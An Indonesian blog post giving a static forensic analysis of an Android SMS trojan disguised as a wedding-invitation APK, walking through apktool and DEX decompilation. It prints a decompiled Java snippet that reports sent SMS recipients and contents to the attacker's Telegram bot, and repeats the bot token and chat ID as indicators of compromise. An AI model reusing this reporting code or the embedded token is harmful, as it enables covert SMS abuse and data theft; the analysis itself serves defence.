Analisis Forensik APK Berbahaya: UndanganPernikahan.apk

 


Tidak semua undangan pernikahan membawa kabar bahagia — beberapa membawa malware.

Pada artikel ini, kita melakukan analisis forensik statik terhadap sebuah file APK bernama UndanganPernikahan.apk.
File ini dicurigai sebagai malware Android yang menyalahgunakan fitur SMS dan mengirimkan laporan aktivitas korban ke Telegram Bot milik penyerang.

Analisis dilakukan menggunakan Kali Linux dan beberapa tools reverse engineering APK.


๐Ÿง Lingkungan dan Tools Analisis

Sistem Operasi

  • Kali Linux

Tools yang Digunakan

  • sha256sum

  • apktool

  • unzip

  • Java (JDK)

  • Web-based Java Decompiler (decompiler.com)


1️⃣ Verifikasi Awal File APK

Masuk ke mode root untuk kemudahan analisis:

sudo su

Hitung hash SHA-256 untuk identifikasi dan dokumentasi forensik:

sha256sum UndanganPernikahan.apk

๐Ÿ“Œ Tujuan:

  • Menjaga integritas bukti

  • Digunakan sebagai fingerprint file (IOC)


2️⃣ Menyiapkan Apktool

Unduh Apktool versi terbaru:

wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar -O apktool.jar

Beri hak eksekusi:

chmod +x apktool.jar

3️⃣ Dekompilasi APK (Tanpa Resource)

Dekompilasi APK tanpa resource agar fokus ke kode program:

java -jar apktool.jar d --no-res UndanganPernikahan.apk -o UndanganPernikahan_decompiled -f

Cek hasil ekstraksi:

ls -l
cd UndanganPernikahan_decompiled
ls -l
cd ..

๐Ÿ“Œ Folder ini berisi:

  • Struktur aplikasi

  • File manifest

  • Smali code


4️⃣ Ekstraksi File DEX

Ekstrak file classes*.dex langsung dari APK:

unzip UndanganPernikahan.apk 'classes*.dex' -d dex_files

Masuk ke direktori:

cd dex_files
ls -l

๐Ÿ“Œ Ditemukan beberapa file:

  • classes.dex

  • classes2.dex

  • classes3.dex


5️⃣ Dekompilasi DEX Menggunakan Java Decompiler

Karena file classes3.dex paling mencurigakan, langkah berikutnya:

  1. Buka situs:

    https://decompiler.com
    
  2. Upload file:

    classes3.dex
    
  3. Download hasil dekompilasi (ZIP)

  4. Extract hasilnya
    ➜ Akan terbentuk folder:

    sources/
    

6️⃣ Analisis Kode Java Berbahaya

Masuk ke direktori source:

sources/com/example/myapplicatior/

Temukan file:

SendSMS.java

Potongan Kode Mencurigakan

this.client.newCall(
    new Request.Builder().url(
        "https://api.telegram.org/bot6817255304:AAGrKP47-SpbAnI-u7GyKITnA6OgLmK4q3Y/sendMessage?parse_mode=markdown&chat_id=7064236060&text=Berhasil Kirim SMS dari Jauh  %0AKepada  : _"
        + str5 + ",%0A๐—ฃ๐—ฒ๐˜€๐—ฎ๐—ป : " + str9 + "_"
    ).build()
).enqueue(new Callback() {

7️⃣ Analisis Perilaku Malware

Dari potongan kode di atas, dapat disimpulkan bahwa aplikasi:

๐Ÿ” Teknik yang Digunakan

  • Menggunakan OkHttpClient

  • Melakukan HTTP request ke Telegram Bot API

  • Mengirim data tanpa sepengetahuan pengguna

๐Ÿ” Informasi yang Dikirim

  • Token Bot Telegram

    bot6817255304:AAGrKP47-SpbAnI-u7GyKITnA6OgLmK4q3Y
    
  • Chat ID Penyerang

    7064236060
    
  • Isi Pesan

    • Status: Berhasil Kirim SMS dari Jauh

    • Nomor tujuan SMS (str5)

    • Isi pesan SMS (str9)

๐Ÿ“Œ Kesimpulan:
APK ini berfungsi sebagai SMS Trojan dan command reporting malware.


๐Ÿงฉ Dampak Keamanan

Malware ini memungkinkan penyerang untuk:

❌ Mengirim SMS tanpa izin korban
❌ Mengambil informasi komunikasi korban
❌ Mengontrol fungsi SMS dari jarak jauh
❌ Menerima laporan aktivitas melalui Telegram

Aplikasi ini sangat berbahaya karena:

  • Menyamar sebagai undangan pernikahan

  • Target korban awam

  • Menggunakan layanan legit (Telegram) untuk exfiltrasi data


๐Ÿ“Œ Indicators of Compromise (IOC)

KategoriDetail
File APKUndanganPernikahan.apk
Fungsi BerbahayaSend SMS jarak jauh
API Endpointapi.telegram.org
Bot Tokenbot6817255304:AAGrKP47-SpbAnI-u7GyKITnA6OgLmK4q3Y
Chat ID7064236060
Bahasa KodeJava
LibraryOkHttp

๐Ÿงพ Kesimpulan Akhir

Dari hasil analisis statik APK UndanganPernikahan.apk dapat disimpulkan bahwa:

✅ Aplikasi mengandung kode berbahaya
✅ Mengirim laporan aktivitas korban ke Telegram
✅ Menyalahgunakan fitur SMS Android
✅ Termasuk kategori Android Trojan / Spyware

Analisis ini membuktikan bahwa social engineering masih menjadi vektor serangan paling efektif di Android.


“Malware Android tidak selalu meminta izin mencurigakan —
kadang ia hanya meminta kepercayaan.”


Komentar

Postingan populer dari blog ini

Menjalankan Kali Linux Melalui Live Boot USB: Pengalaman dan Pembelajaran

Melacak Lokasi Foto Menggunakan Autopsy: Menemukan “Di Mana” dan “Kapan” Gambar Diambil

Pemeriksaan Partisi dan Log Sistem pada Analisis Forensik Digital